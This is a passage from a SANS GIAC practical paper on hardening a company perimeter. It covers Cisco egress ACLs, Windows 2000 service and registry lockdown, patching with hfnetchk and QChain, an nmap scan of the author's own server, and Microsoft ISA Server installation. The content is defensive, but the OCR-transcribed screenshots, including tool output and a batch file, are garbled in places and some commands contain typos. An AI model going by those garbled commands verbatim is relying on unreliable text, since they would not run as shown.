access-list 199 deny ip 115.0.0.0 0.255.255.255 any log
access-list 199 deny ip 116.0.0.0 0.255.255.255 any log
access-list 199 deny ip 117.0.0.0 0.255.255.255 any log
access-list 199 deny ip 118.0.0.0 0.255.255.255 any log
access-list 199 deny ip 119.0.0.0 0.255.255.255 any log
access-list 199 deny ip 120.0.0.0 0.255.255.255 any log
access-list 199 deny ip 121.0.0.0 0.255.255.255 any log
access-list 199 deny ip 122.0.0.0 0.255.255.255 any log
access-list 199 deny ip 123.0.0.0 0.255.255.255 any log
access-list 199 deny ip 124.0.0.0 0.255.255.255 any log
access-list 199 deny ip 125.0.0.0 0.255.255.255 any log
access-list 199 deny ip 126.0.0.0 0.255.255.255 any log
access-list 199 deny ip 197.0.0.0 0.255.255.255 any log
access-list 199 deny ip 221.0.0.0 0.255.255.255 any log
access-list 199 deny ip 222.0.0.0 0.255.255.255 any log
access-list 199 deny ip 223.0.0.0 0.255.255.255 any log

!'Then the multicast and testing addresses
access-list 199 deny ip 224.0.0.0 31.255.255.255 any log

'Microsoft Services

access-list 199 deny tcp any any range 135 139
access-list 199 deny udp any any range 135 139
'New for Windows 2000

access-list 199 deny tcp any any eq 445
access-list 199 deny udp any any eq 445

'Blockthe tftp service
access-list 199 deny udp any any eq 69 log

'Block the syslog service
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access-list 199 deny udp any any eq 514 log

'Block the snmp service

access-list 199 deny udp any any range 161 162 log

'Now we will let everything else through.

access-list 199 permit ip any any

I'This ends the Egress Access List Filter

'Add Access-lists to the external interface

GIAC BR(config)#interface serial 0

GIAC_BR(config-if)#ip access-group 101 in

GIAC BR(confg-if)#ip access-group 199 out

Once the configuration has been completed it only exists in memory (RAM). We need to
write it to non-volatile ram so that when the router reboots it can re-apply the
configuration on startup. To exit the configuration mode you press the control key and ‘z’
key together.

GAIC_BR(config-if)#ctrl+z

GIAC BR#copy run start

The copy running-config startup-config command copies the configuration from RAM to
NVRAM.
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ISA Server -

The following are recommended specifications for the ISA server:

IBM Model 342

Qty Description Unit Price Ext Price

1 342 1.26G 512 L2 1965.00 1865.00
Cache 256MB
Memory

2 18GB 10K RPM 258.00 516.00
ULTRA 160 SCSI
Hard Drive

2 256MB RAM 213.00 426.00
10/100 Eth Adap. 82.00 246.00

1 Server RAID 1 573.00 573.00
Adap.

1 PCI Firewire 44.00 44.00

1 Redundant PWR 194.00 194.00
Supply

1 3 Year 24x7x4 HR | 522.00 522.00
Response

1 Windows 2000 693.00 693.00

1 ISA Server 1216.00 1216.00

$6.295.00
Hardening the ISA Server Box

When installing the operating system on a server, particularly one that will be used for
the platform of your firewall service, it should be scrutinized thoroughly. One of the
initial critical decisions that must be made are the services that need to be on the system
for the operating system to function properly. The more services that are available on the
server the more opportunities of exposure to existing or potential exploits. The objective
should be to run the absolute minimal number of services that are needed. Windows 2000
by default will install IIS 5.0. This service has been the basis of many attacks and exploits
in its previous versions and continues today. Since Internet Security and Acceleration
Server unlike its predecessor Microsoft Proxy 2.0 is no longer dependent on IIS, it is
deselected during the installation process.

There are checklists available to use for setting up a Windows 2000 Server

with a base security level. Microsoft has made available a Security Toolkit which can be
downloaded from their website or ordered on CD. It contains several tools and checklists
for the NT 4.0 and Windows 2000 operating systems. There is a checklist we can use on

the CD for a ‘fresh install of Windows 2000 Server’. Here is the list:

© SANS Institute 2000 - 2002 As part of GIAC practical repository. Author retains full rights.



Verify that all disk partitions are formatted with NTFS
Verify that the Administrator account has a strong password
Disable unnecessary services

Disable or delete unnecessary accounts

Protect files and directories

Make sure the Guest account is disabled

Protect the registry from anonymous access

Apply appropriate registry ACLs

Restrict access to public Local Security Authority (LSA) information
Set stronger password policies

Set account lockout policy

Configure the Administrator account

Remove all unnecessary file shares

Set appropriate ACLs on all necessary file shares

Install antivirus software and updates

Install the latest Service Pack

Install the appropriate post-Service Pack security hotfixes
Turn on auditing

AN N N N N N N VR N N U Y N N N NN

Each item provides specific details about its particular subject. For example, under the
first item on the checklist, while recommending using NTFS partitions on all the drives
as a best practice, it also mentions a caveat about using the convert.exe utility on an
existing Fat or Fat32 partition. By default it will set ACL’s on the converted drive to
Everyone Full Control and that fixacls.exe should be used from the Windows NT Server
Resource Kit to correct this.

Other checklists that are available for use are Securing Windows 2000 Step by Step
published by the SANS INSTITUTE. And also at http://nsal.www.conxion.com/

there are guides that have been published for Windows NT 4.0, Windows 2000 and Cisco
products.

After doing an install of Windows 2000 Server and choosing no network services during
the install, these services were found to be installed and running:

Alerter

Com+

Computer Browser

DHCP Client

Distributed File System
Distributed Link Tracking
Distributed Link Tracking Server
Distributed Transaction Coordinator
DNS Client

Event Log

IPSEC Policy Agent
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License Logging Service

Local Disk Manager

Network Connections

Plug & Play

Print Spooler

Protected Storage

RPC

RPC (Locator)

Remote Registry Service
Removable Storage

RunAs Service

Security Accounts Manager
Server (has to be turned on for hfnetchk.exe)
System Event Notification
Task Scheduler

TCP/IP NetBios Helper Service
WMI

WMI Driver Extensions
Workstation

Based on recommendations from the above checklists and some testing, I successfully
disabled the services above that are underlined.

The following are registry modification recommendations from the SANS STEP by
STEP publication that are made to the Windows 200 Advanced Server box.

Remove the OS/2 and Posix subsystems — SANS Step by Step page 33.
I found the OS2 folder located under \winnt\System32\ instead of
\winnt\ and was not able to remove it per the directions so I reset the
security on the folder to Deny for Everyone. This just may be a quirk
with the Evaluation Copy of Server that [ am using.

(SANS Step by Step pages 40 — 43)

Disable Autorun on CD-Rom Drives
Controlling Remote Registry Access
Exception to Remote Registry Access
Restrict Null access to Named Pipes
Restrict Null User access to Shares
Mitigate the Risk of Syn Flood Attacks
Disable Router Discovery

Disable IP Source Routing

Tune the TCP/IP KeepAlive Timer
Disable ICMP Redirects

Disable External Name Release
Disable DCOM
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Remove the AEDebug Key
Remove Administrative Shares
Disable 8.3 Filename Creation

Some Other Recommendations — SANS Step by Step (Pages 25 — 29)
Clear Virtual Memory Page When System Shuts Down
Do Not Display Last User Name in Logon Screen
Message Text/Title for users attempting to Logon

Install the Recovery Console —
The recovery console is new to Windows 2000.
It is not installed by default. Once the OS has been installed
the Recovery Console can be added by running the winnt32.exe \cmdcon
from the install CD. The winnt32.exe is found under the 1386 folder on the
CD. Once the Recovery Console has been installed you will have another
option on the boot menu to Load the Recovery Console. This will load a
mini Windows 2000 OS with a command line interface. Once you have
logged in with the local administrator’s password you can add and remove
files that may be damaged. Start and Stop services from loading, etc.

Rename the Administrator and Guest Account

Restrict the CD-ROM and Floppy drive access

Shut Down System if unable to log security audits —
This is an interesting one. Do you really want your Firewall to
Shutdown? How important is making sure the logging is happening?
If the system shuts down you basically have a DOS for employees,
customers, partners, etc. These are tough decisions that need to be made.

These listed recommendations are just a sample of what is listed in this section of the
guide. These items were listed with the idea that this particular server will be providing
the platform for the firewall platform and that there should only be two or three people
with access to this server.

After installing the Windows operating system is the appropriate time to apply service
packs, patches, and make all other changes that will help to ‘harden the OS’ and prepare
it for a production environment. Microsoft has incorporated a couple of changes into the
Windows 2000 platform that help to simplify this process. 1) Service packs are no longer
dependent on previous service packs and 2) you can now actually use a procedure called
slip streaming that allows you to incorporate the current service pack level into the
operating system installation files. After bringing the operating system up to service pack
level 2 (the current Microsoft Service Pack level) we can use tools that have been
supplied by Microsoft to help us apply all appropriate patches or hotfixes.

1) Hfnetchk.exe — Hot fix network checker can be downloaded from Microsoft’s
web site at:
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http://www.microsoft.com/downloads/release.asp?releaseid=3 1154 &area=feature
d&ordinal=2

This command line tool was developed for Microsoft by Shavlik Technologies LLC
(Shavlik Security). They also have a commercial version that provides a GUI and
incorporates an automated process of pushing the hotfixes out to your systems.
Hfnetchk.exe uses an XML file and XML parser. The first time the tool is used it
will attempt to download this XML file from Microsoft’s web site to the local system.
This file is a digitally signed cab file. Once the file is downloaded and the signature is
verified, it is then decompressed for use. After the file has been decompressed the
tool scans the local system for the Operating System type, programs running, and
service packs that have been installed. Hot Fix Network Checker then parses the
XML file to determine based on the combination of your system’s current
configuration what patches are available. Once this is completed it will query the
registry looking for those entries. If it does not find the appropriate entries in the
registry the patch is considered not installed. If the entries are found it will then parse
the XML file for the specific files and scan the local computer to see if they are there
and if so it will compare version numbers and checksums against the local files. If
any of these details are missing are different, the tool will consider the patch not
installed and report ‘Patch not Found’ in the summary report. There are several
switches that can be used with this tool. The default for Hot Fix Network Checker is
to attempt a download of a new version of the XML file every time it runs. The file is
called mssecure.xml. You can use the —x switch to point it to the current file to keep
this from happening. The —i switch is for providing the IP address of the host to scan.
You can also supply a range of addresses with the —r switch (EX: -r
192.168.1.1-192.168.1.20). The —h switch if to supply the NETBios name of the
computer to scan. You can also use a text file that contains IP addresses or NETBios
names by using the —fip or —fh respectively with the file name. The —v switch will
provide verbose output as to why it reporting that a patch is not installed. Since this is
a command line tool you would open a command window and type at the prompt
“hfnetchk —i 192.168.1.1 —z mssecure.xml —v” (without the quotes of course).
Many more examples can be seen at Microsoft Network Security Hotfix Checker
Tool Is Available (Q303215).

2) QFECHECK.EXE — a diagnostic tool provided by Microsoft to correct a potential
hot patch anomaly. This anomaly can be caused by the Windows File Protection
system. The anomaly only affects patches that were produced up through
December the 18™, 2000. If an administrator applies these specific patches in an
order other than the order they were packaged and then ran the System File
Checker, Windows File Protection could replace a protected system file with an
older version that could be vulnerable to an existing exploit. The tool can be
obtained from the Microsoft website at:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=27333 .

Details about using this tool can be found at:
http://www.microsoft.com/technet/security/bulletin/ms01-005.asp .
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3) QChain.exe —a Microsoft command line tool that allows you to safely install
multiple hotfixes at the same time without requiring a reboot after each one.
You can use QChaine.exe in a batch file with the hotfixes that you need to apply
to the computer. Here is an example from Microsoft’s Website:

“@echo off
setlocal
set PATHTOFIXES= some path

%PATHTOFIXES%\Q123456_w2k_sp2_x86.exe -z -m
%PATHTOFIXES%\Q123321_w2k_sp2_x86.exe -z -m
%PATHTOFIXES%\Q123789_w2k_sp2_x86.exe -z -m
%PATHTOFIXES%\qgchain.exe "

The tool and details in its use can be retrieved from:
http://support.microsoft.com/directory/article.asp?ID=KB:EN-US:0296861& .

There are some issues with using QChain.exe so the Q article should be reviewed,
before proceeding.

Below are the screen output results from running the hfnetchk.exe tool on the computer
that is being prepared for the ISA server.

E:"-.,WINNT"-.,5ysten132"-.,|:md.e:ue

Scanning ISASERUVERBA1L

ISASERVERB1 <(169.254.1.73>

= WINDOWS 2808 ADUANCED SERUER SP2

Mote -2z Q296441
Patch NOT Found —aa1 Q311401
Patch NHOT Found —Ba6 Q314147
Patch NOT Found —H13 Q300845
Patch NOT Found —H14 Q313829
Patch NOT Found —H16 Q318593
Patch HOT Found —H17? Q311967

» INTERNET EXPLORER 5.81

Patch NOT Found MSB2-80% Q318089
Patch NOT Found MSB2-815 Q319182

GC:~Tools>

As seen from the screen shot above, there are several patches that are missing even being
at Service Pack Level 2. The ‘MS##-###" number is a Microsoft security bulletin and the
‘Q#HH## number is a “‘Q’ article located in the Microsoft Knowledge Base. The patches
can be retrieved by searching on one or the other. It also shows that Internet Explorer
5.01 is on this box and there are two patches needed to bring it up to spec. It should also
be pointed out that by looking at the current IP address of this machine, its TCP/IP
configuration is currently configured as a DHCP client. Since it cannot talk to a DHCP
server (since it is not connected to a network) it has assigned itself a 169.254.#.# address
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which is default for the current version of the Windows operating system. It should be
considered a best practice when building a production machine of any kind to bring it up
to a specific level of compliance before hanging it onto the network in a production
environment.

The next step in the hardening process will be to download the patches listed in the
screen output above and use qchain.exe to apply these patches to the soon to be ISA
server. | created a folder called ‘patches’ located in the root of the C drive and located
QChain.exe and all the patch files in this folder. I then create a batch file called
hotfixes.bat based on the template from above.

& hotfixes.bat - Notepad
File Edit Format Help

l@echo off
setlocal

set PATHTOFIXES=cC:“patches

HPATHTOFIXES®E Q30084 5_W2K_SP3_xB6_en.exe -7
HPATHTOFIXES® 0311967 _W2K_SP3_xB6_en.exe -Z
HPATHTOFIXES® 0313820 _W2K_SP3_xB6_en. exe -Z
HPATHTOFIXES® 314147 _W2K_SP3_xB86_en.exe |z
HPATHTOFIXES® 0318593 _W2K_SP3_xB6_en. exe -7
HPATHTOFIXES®NOgchain. exe

The screen shot above is of my hotfixes.bat file. Not all the patches that were listed in
the hfnetchk.exe output are in the self-extracting ‘exe’ format that can be used with this
utility, so I applied them separately. Once all the patches have been applied it will be
time to rerun the hfnetchk.exe tool and the qfecheck.exe tool to verify that the computer
has been brought up to the proper patch level. Once we run this batch file and apply all
the patches we have downloaded we run the hfnetchk.exe tool again.
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W WINNT System32 . cmd.exe
Done scanning ISASERUERG1

= UINDOWS 2888 ADUANCED SERUER SP2

Note MEA1-H22 9296441
Please refer to Q386460 for a detailed explanation.

Patch MOT Found MEO2-B01 Q311461

The registry key =*=*Z0FTUARE“Microsoft UpdatessWindows
20800~5P3~SP25RP1=* does not exist. It is reguired for this patch to
be considered installed.

» [MTERMET EXPLORER 5.81 SP2
Warning ME@2—-Aa? Q3180897

File C:“WINNI“system32-whscript.dll has a file version that is
greater than vhat iz expected.

C:~Tools>

The above screen shot reflects that we have just a couple of issues left. The first item’s
resolution based on the security number is to apply the Security Rollup patch and the
second mentions a version number greater than expected. The Security Rollup Package
is applied to the computer and once completed gives you a window like the one below.

Windows 2000 SP2SRP1 Setup Wizard x|

Completing the Windows
2000
SP2SRP1 Setup Wizard

Y'ou have successfully completed the SP25RFT Setup
Wizard.

To apply the changes, the wizard has o restart
Windows. To restart Windows autoratically, clhick
Finizh.

If you want to restart later, zelect the Do not restart now
check box, and then click Finizh,

[ Dorot restart now

| Finizh |

After rebooting the computer and logging on to the system, a quick check can be done to
make sure the package has been installed successfully. Click on Start -> Run -> and type
winver in the Run window. A screen will appear that will look like the one below.
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About Windows i X

Microsoft

R T

Microsoft (R Windows

Yersion 5.0 (Build 2195; Service Pack 2)
Copyright () 1981-1999 Microsoft Corp,
SRP1 Evaluation copy. Expires 8/gf2002 8:05
amM

This product is licensed to;

IS4 Server

GlAC Enterprises

Physical memary available bo Windows: 130,608 KB

You will see that the system is at service pack level 2 and if you take a look below the
copyright line you will see that ‘SRP1” is listed. Click OK and open a command window
to use the gfecheck.exe tool to verify the hotfixes installations. Below is the output of
results.

E:"-.,\'n'INNT"-.,5ysl:en132"n.,cmd.e:-:e e : 1O il

0 [ 50

e 50 08

Once the service packs and patches have been applied we can take a snapshot of where
we are on the current status of this box by doing a couple of things: 1) Type the nestat
—an command in the command window and check the output to see what ports are in the
‘listening’ state. 2) And use nmap to do a port scan of the box to see what ports it
identifies are in the ‘open’ state.
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W WINNTY System32' .cmd.exe

C:~>netstat —an
Active Connections

Proto Local Address

TCP B.8.8.

TGP A.A.\@.

TGP

CP

upp

upp

upp

upp

upp .18.1@.2:

upp 20.20.1:137
28.28.1:138

e~}
-]

L L
EXEE R XDODDE

SE G
"

aEEEI
ITRIRTE
ZEEED

Cane

The output above shows the famous Microsoft ports 135 and 139 ‘Listening’ along with
the new one for Windows 2000 port 445.

# nmap (V. 2.54BETA22) scan initiated Sun Apr 14 10:35:55
2002 as: nmap -v -sT -O -oN isa2.txt 110.10.10.2
Interesting ports on (110.10.10.2):

(The 1540 ports scanned but not shown below are in state:

closed)

Port State Service
135/tcp open loc-srv
139/tcp open netbios-ssn

Remote OS guesses: Windows Me or Windows 2000 RC1l through

final release, Windows Millenium Edition v4.90.3000

TCP Sequence Prediction: Class=random positive increments
Difficulty=7365 (Worthy challenge)

IPID Sequence Generation: Incremental

# Nmap run completed at Sun Apr 14 10:36:01 2002 -- 1 IP
address (1 host up) scanned in 6 seconds

The output of the Nmap tool also shows ports 135 and 139 open but doesn’t mention TCP
445. Additionally, it does a good job at guessing the OS. The command to generate this
output is shown on the screen above: namp —v —sT —O —oN isa2.txt 110.10.10.2. This is
telling Nmap to be verbose (-v), use the TCP connect() scan, (-sT), attempt to fingerprint
the OS (-O), send the output to a human readable file called isa2.txt (-oN isa2.txt) and
what host to scan 110. 10.10.2 (the host’s IP address). Once this step has been
completed, it is time to install the ISA server software and configure it.

We can further tighten down the box by disabling a couple of items: 1) Disable Microsoft

Client for Networking on all the interfaces where it is not needed. This can be done by
going to the Network properties page and de-selecting that item as shown below.
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Local Area Connection Properkties
General | Sharingl

Connect using:

B3 3Com EtherLink Il 1SA [3C5095-TF)

Configure

Componentz checked are uged by thiz connection:

O Q Client for Microzoft Mebwork.z
[ g2 Metwark Load Balancing
[ 22 File and Printer Sharing for Microsoft Metworks

3 [ etwork, Monitar Driver
4] |

[nztall... [rinztall Froperties

Dezcription

Metmon Packet capture driver that allows the Metman L ba
acquire packets from the local netwark,

[ Show icon in taskbar when connected

Canicel

2) Disable NetBios of TCP/IP by selecting the TCP/IP protocol in the list and click on
properties then click the Advanced button then click the WINS tab. From here you can
select to disable NetBios over TCP/IP as shown below.
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General I Sharingi

Advanced TCP/IP Settings ed Bt

IP Settings | DNS  WINS | Optians |

—"WIMS addreszes, in order of use:

Add... Edit. Remowve

[f LMHOSTS lookup iz enabled, it applies to all connections for which
TCPAP iz enabled.

¥ Enable LMHOSTS lookup Import LMHOSTS. .

{” Enable MetBIO5 over TCRAP
% Dizable MetBIOS owver TCRAP
™ Use MetBIDS setting from the DHCP server

0k, I Cancel

ISA Server Installation and Configuration

Microsoft’s Internet Security and Acceleration Server is the next product in the evolution
of their Proxy Server product. Do not be mistaken, this is not just Proxy 2.0 on steroids. It
does have many of the features of Proxy Server 2.0 including the WEB caching ability,
but also includes a new Firewall Feature along with some Intrusion Detection features.
ISA is a very robust and complex product. It has a multitude of capabilities, some of
which are outside the scope of this paper. There are several publications which go into
great detail about ISA, three of which are: “Internet Security and Acceleration Server”,
authored by Curt Simmons; “Microsoft Internet Security and Acceleration Server 20007,
authored by J.C. Mackin; and “Configuring ISA Server 2000 Building Firewalls for
Windows 2000, authored by Dr. Tom Shinder, Debra Shinder and Martin Grasdal.
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The product can be purchased as either the Stand Alone or Enterprise version. The
licensing is based on the number of CPU’s per box on both versions. Both versions also
require the Windows 2000 Server platform with Service Pack 1 and post SP1 hotfix
q27586_ w2k sp2 x86 en.exe included on the install CD or Service Pack 2. The
Enterprise version requires either Advanced Server or Data Center Server. The Enterprise
version also requires a Windows 2000 Domain structure with Active Directory. This
allows ISA server to be installed in what Microsoft calls an “array configuration”. The
array members share the same configuration information which is stored in Active
Directory. The ISA standard edition’s configuration information is stored locally in the
registry. The array model allows for managing multiple ISA servers from a single
console. It can also provide for the ability to do load balancing and fault tolerance, in
other words the array can sense when an array member is no longer active and adapt
accordingly. Other features of the Enterprise version in the array model provide for the
ability to manage polices at the Enterprise level using a single Enterprise policy or
multiple Enterprise policies. Then these Enterprise policies can be ‘pushed’ out through
Active Directory to all the arrays or to specific arrays. In this model the array level
policies if allowed, can only further restrict the Enterprise policies. For example, if there
is an Enterprise policy which does not allow users to visit a specific web site or use a
specific instant messenger service, then an array level policy could not in turn allow it,
but only tighten the policy further. Here is a list of the minimum system requirements
from the publication ‘Configuring ISA Server 2000 Building Firewalls for Windows
2000°.

=  Windows 2000 Server family operating system with Service Pack 1 or later
installed.

= A Pentium IT or K7 (Athlon) Processor running at 300MHZ or faster

* A minimum of 256 MB of RAM (Microsoft recommended)

* A minimum of 20 MB of the program files

* A minimum of 2 GB for the WEB cache

= At least two network interface — one to the internal network and a second to an
internal network, such as the Internet or corporate back-bone (the exception is an
internal caching-only server)

= Partitions formatted as NTFS to store the program, log, and cache files

= A Windows 2000 Domain if Enterprise Policies will be implemented”’

There are also recommendations based on the size of the connection that is in front of

ISA Server:
Less than 10Mb/second ISDN, DSL, or cable PII or K6-2 300MHZ
10 to 50 Mb/second T3 or compatible PIII or K7 500MHZ
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More than 50 Mb/second Very Fast PIII (add processor for
Each increment of 50 Mb) “

The screen shot below is the initial screen to start the ISA install.

i Microsoft ISA Server Setup B — 1ol =]

lcrosoft

Run IS4 Server
Enterprise
Initialization

@ Feview Felease

b Motes

Eead Ihstallatin % Install 154 Server
Guide

This tool installs the |SA
Server schema to the
Active Directory and
initializes enterprise

configuration. @ Register 54

Fead About
Mligrating to 1S4
Serer

Server

@ 2000 Microsoft Corporation. &I rights reserved.

This is the Enterprise version which we are going to install in the stand-alone mode. To
begin the install click on the ‘Install ISA Server’ option.
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Microsoft ISA Server (Enterpris

Locate your 10-digit "CD Key'! number and
enter it in the space below. Y'ou can find this
nurmber an the sticker on the back af yaur
CD caze.

CD Kew:

80 -[za37423

Exit Setup |

The next step is to enter the CD key and click OK.

Microsoft ISA Server Setup

Thiz computer cannat join an array untl it iz part of a‘wWindows 2000 domain, and
an updated |54 Server zchema iz ingtalled in Active Directory. |F vou continue with
Setup now, this computer will be installed az a stand-alone server.

Do you want b continue?

Yes

The enterprise edition automatically looks for a domain to be available so that the
enterprise version can be installed. It complains when it can’t find one. Since we do not
want to be part of a domain we select ‘yes’ to continue and install the stand-alone
version.
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To choose the

inztallation wou want, click one of the following buttons.

fﬁl Typical Installation
q ! Microzoft 154 Server will be inzstalled with the most
¥ e commaonly uzed options.
E Custom Installation
S
C |I"m:'. Microzoft 1S4 Server will be installed with only the selected
ophions.
E— Full Installation
f,»-. r.ﬂ..: Al componentz of Microzoft 54 Server will be installed.
o
— Folder:
C:“Program Files\Microzaft IS4 Server Change Ealder...

E xit Setup |

The screen above allows you to choose the type of installation. By clicking on custom we
can select or deselect some of the options.

I the Optionz list, select the items you want installed; clear the items pou do not want inztalled.

& grayed box with a check indicates that anly part of the component will be installed. To zelect

all components in

Optiores:

the Ophion lizt, chck Select All.

D escription:

[¥ 154 Services
- Add-in servic

— Folder far Currently Selected Option; -
C:5Program Files\Microzoft 154 Server

Allows components o be inztalled
= @ | =ither separately or az part of 154
[¥  Administration tools Server

Change Optioh...

Select All

Change Eolder... |

Space required on C: 14964 k.
Space available on C: 999399 K.
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Once the install options have been selected, click continue. This brings us to the install
type which is shown below.

—
icrosof

Select the mode for this server;

™ Firewall mode

Select thiz option o install enterprize freveall
functionality.

" Cache mode

Select thiz option to install cache and ‘web hosting
functionality.

Cache mode ingtallation iz recommended only for computers
that are not directly connected ta the [ntermet, |F thiz
computer iz directly connected to the [ntemet, install 154
Server in integrated mode.

% |ntegrated mode

Select thiz option to inztall intearated enterprize
firewall, cache, and *web hozting functionality.

Continue Exit Setup Help

The choices as seen above are Firewall Mode, Cache Mode and Integrated Mode. We
select Integrated Mode which will allow us to take advantage of the Web caching features
of ISA if we decide to at a later date. Then select continue.
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Specify the MTFS drives on which caches should be located
and the masirnurn zize of each cache.

i |E |

Cancel
Cirive  [File Syzstem] b asimum Size [MEB]
G [NTFS] Hele
Cirive: 0 [MTFS]
Lvailable space [MB]: BEO7

Cache size [ME]: |5|:”:| Set

Total zache zize [MB]: A00KEB

The next step is to allocate disk space for the cache service (since we chose Integrated
Mode). It requires a NTFS partition and it has to be a local drive with an assigned letter.
Once this has been configured the LAT has to be constructed. The Local Address Table is
a table that represents the addresses on the private LAN. This does NOT include the
addresses in the Service Network (DMZ).
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Select the address ranges [bazed on the ‘Windows 2000 routing table] for inclusion in
the lozal address table [LAT] The LAT should include all the addresses in vaur
internal network.

v Add the following private ranges: 100888, 192168 08, 172161 x -
17231 5.5 and 169,254 5.5, —
v Add address ranges bazed an the *Windaws 2000 Raouting T able =

Select the addrezs ranges that are associated with the following
internal network, adapters:

Card P Addresses |

[ ELME3 Ethernet Adapter 110.20.201
CJ ELME3 Ethermet Adapter 1010102

MK I Cancel | Help |

You can select the private address ranges based on RFC 1918, use the address table in the
host computer or choose a specific interface or combination of these.

Enter the P address ranges that zpan the internal netwark, addrezs space.

Internal IF ranges:

From | To
10,000 10,255 255,255

T | 169.254.0.0 169,254, 255, 255
172.16.0.0 172.31.255.255

192.168.0.0 192168.255.255

<-Hemove I

To construct a local address table, click Construct

Table. Conztruct Table. ..

] 4 Cancel

GIAC Enterprises Private LAN address range does falls within the 192.168.x.x Class C
range. But since it does not include the complete range, we select option one and then
remove the addresses and add the specific range of 192.168.50.0-192.168.50.255. The
LAT should only include the private LAN address space. No other address space should
be included; this also means the DMZ or Service Network.
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Microsoft ISA Server (Enker

2

Microzaft Internet Security and Acceleration
Server Enterprize Edition Setup waz completed
succezsfully,

The installation program informs us that it was successful and once OK is selected we get
the Welcome Screen below. The last step to complete the install is to apply the service
pack which addresses several issues. Then reboot and begin the configuration. Below is a
screen shot of the ‘Getting Started Wizard’, which can be used to start the configuration.

A Managemenkt

“ Action  Wiew IJ E o= | %I

2| 2

=101 %]

Tree I

ISASERYERDL
ﬁ’, Moanitaring

‘7 Bandwidth Rules
- iy Palicy Elements
g Cache Configuration
=\ Monitaring Configuration
|- 5 Extensions

Metwork Configuration
B Client Configuration

ISA Clients —

Getting Started

ect policy elements
Configure Schedules
Configure Clisnt Sets
Configure Protocol Rules
Configure Destination Sets
Configure Site and Content Rules
Secure Server
Configure Firewall Pratection
Configure Dial-Up Entries
Configure Routing for Firewall and
SecureMAT Clients
Configure Fouting for web
Browser &pplications
Configure Cache Policy

Exit the Getting Started

Wizard

Welcome

‘Welcome to the Microsoft Internet
Secunty and Acceleration [154) Server
Getting Started Wizard.

Thiz wizard will azzist pou in finishing the
zetup process and help vou to define and
configure initial 154 Server policies, to
connect and pratect your internal
etk

To navigate through the wizard, click
Meut.

To quit the wizard, click Finish.
Click. the Help button for more information
on specific tagks.

Help Next

Finish

There are three client types available on the ISA server - the Secure NAT client, the
Firewall Client and the Web Proxy Client. Each client can be used separately or in

combination depending on the specific access needs. There are advantages and

disadvantages for each.
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Secure NAT Client —

The Secure NAT client is the simplest to deploy since the only step involved in the setup
is to configure each client’s default gateway to the private interface address of the ISA
Server. If there are routers between the client and the ISA server then that routers local
interface would be used as the default gateway address and the router would need to be
configured in such a way to route all Internet bound traffic to the ISA Server. The
advantages to this deployment are: 1) obviously platform independent, will work on any
OS that can talk TCP/IP, 2) simple deployment, no extra software to install on clients.
ISA server cannot provide these clients DNS resolution and therefore must have a DNS
server’s address that can resolve internet names. If name resolution is required on the
local network then the Secure NAT clients must have a DNS server that can provide that
resolution. If this is the case then the recommended solution is to have a local DNS server
as the client’s preferred DNS server that uses a public DNS server as its forwarder. The
disadvantages of the Secure NAT client are: 1) Since the solution is IP based there is no
way to use user or group-based authentication for network access. 2) The Secure NAT
client is restricted to those protocols that are included in the protocol definitions of the
ISA Server and 3) Require Application filters for complex protocols.

Web Proxy Client —

The Web Proxy Client can be configured on any OS that supports a CERN compliant
browser. Most of today’s Web browsers are CERN-compliant and therefore are
candidates for the Web Proxy Client. This client only supports a few protocols — HTTP,
HTTPS, FTP and GOPHER. So if browsing is the only access needed then this client
would work. It also passes user information to the Web Proxy Service and therefore can
be used with user or group based access controls. Setup is done through the properties of
the browser as shown below.

Local Area Metwork (LAN) Settings

Automatic configuration

Automatic configuration may override manual settings. To ensure the
use of manual settings, disable automatic configuration.

[ ] Automatically detect settings
|:| IUse automatic configuration script

Proxy server

IUse a proxy server for your LAMN (These settings will not apply to
dial-up or VPN connections).

Address: | 192.168.1.1 Port: | 8030| Advanced...

Bypass proxy server for local addresses

[ OK ]I Cancel ]
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This screen shot reflects the settings that would be used to connect to the ISA server. The
IP address is the ISA Server’s internal interface address. This information also reflects
that ISA listens for outbound HTTP request on TCP port 8080 by default, although it can
be changed. There is also a check box that allows the PC to differentiate between a
‘local’ address and ‘remote’ dotted address — ‘Bypass proxy server for local addresses’.
By configuring the LDT (Local Domain Table) on the ISA server a client can
differentiate and not send the ‘local dotted address’ to the ISA server. The Web Proxy
Service can handle the DNS resolution for the Web Proxy Client for resolving Internet
names. But if local name resolution is needed then similar to the Secure NAT Client it
needs to be configured with a local DNS server that resolves local names and forwards
Internet addresses.

Firewall Client —

The third client available for ISA is the Firewall Client. It is the most robust of the three
but does involve installing software on each client. The Firewall Client will only work on
Windows 95/98/ME, Windows NT 4.0, Windows 2000 and Windows XP. The client
software can be installed using a ‘share point’ on the ISA Server, a WEB install on an IIS
box (not recommended running on ISA), or using Microsoft’s RIS server (remote
installation service) and either “publishing” or “assigning” the software automatically.
The advantages of using this software are: 1) Allow use of user or group-based access
control. 2) It handles complex protocols like the FTP service. The disadvantages are: 1)
Having to deploy software on each client. 2) Only a subset of the Windows operating
systems is supported and no other platforms. 3) Firewall Clients configured properly,
without a default gateway, will not be able to ping external addresses. This is because the
Firewall Client only supports TCP and UDP based protocols and not ICMP. The Firewall
Client should also never be installed on the ISA Server on any server that you want to
publish as they should be set up as Secure NAT Clients. The Firewall Clients do not need
a DNS server listed in their TCP/IP properties since they pass the DNS request to the ISA
server over the ‘control channel” UDP port 1745 or TCP port 1745. Again the only caveat
to this is that if local DNS is needed then as before they will need a local DNS server as
their preferred server and have the local DNS server use a forwarder to resolve Internet
FQDN names.

Since GIAC Enterprises clients are all Windows 2000 PC’s and the number is very
manageable the consultant has recommended that the PC’s be configured as Secure-Nat
clients and that they also be configured as Web Proxy Clients. Since the Web Proxy
service handles HTTP, HTTPS, FTP and GOPHER by default it will take care of the
current access needs of the internal employees and will allow the focus to be on all other
access needs. By configuring the clients as both Secure-Nat and Web proxy clients the
proxy service passes the user authentication information to the firewall service versus just
configuring them as Secure-Nat clients does not provide this functionality. If at a later
date a requirement for more complex protocol access is required the Firewall Client could
be deployed. Also for clarification it should be noted that internal DNS resolution is
accomplished by the internal DNS server that is authoritative for GIAC Enterprises
internal name space giac.local, and it uses the ISP DNS server as its forwarder.
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-Firewall Rules -

Since we are going to be using packet filtering on ISA, it needs to be enabled. This is
done by selecting the properties of Packet Filtering.

IP Packet Filters Properkies

21 x|

General I Packet Filters | [ntrusion Deteu:tiu:uni PFTF i

T Ilze thiz page to control packet routing and packet
| (]  filtering properties.

v Enable packet filtering

¥ Enable Intrugion detection

¥ Enable IP rauting

k. l Cancel Amply

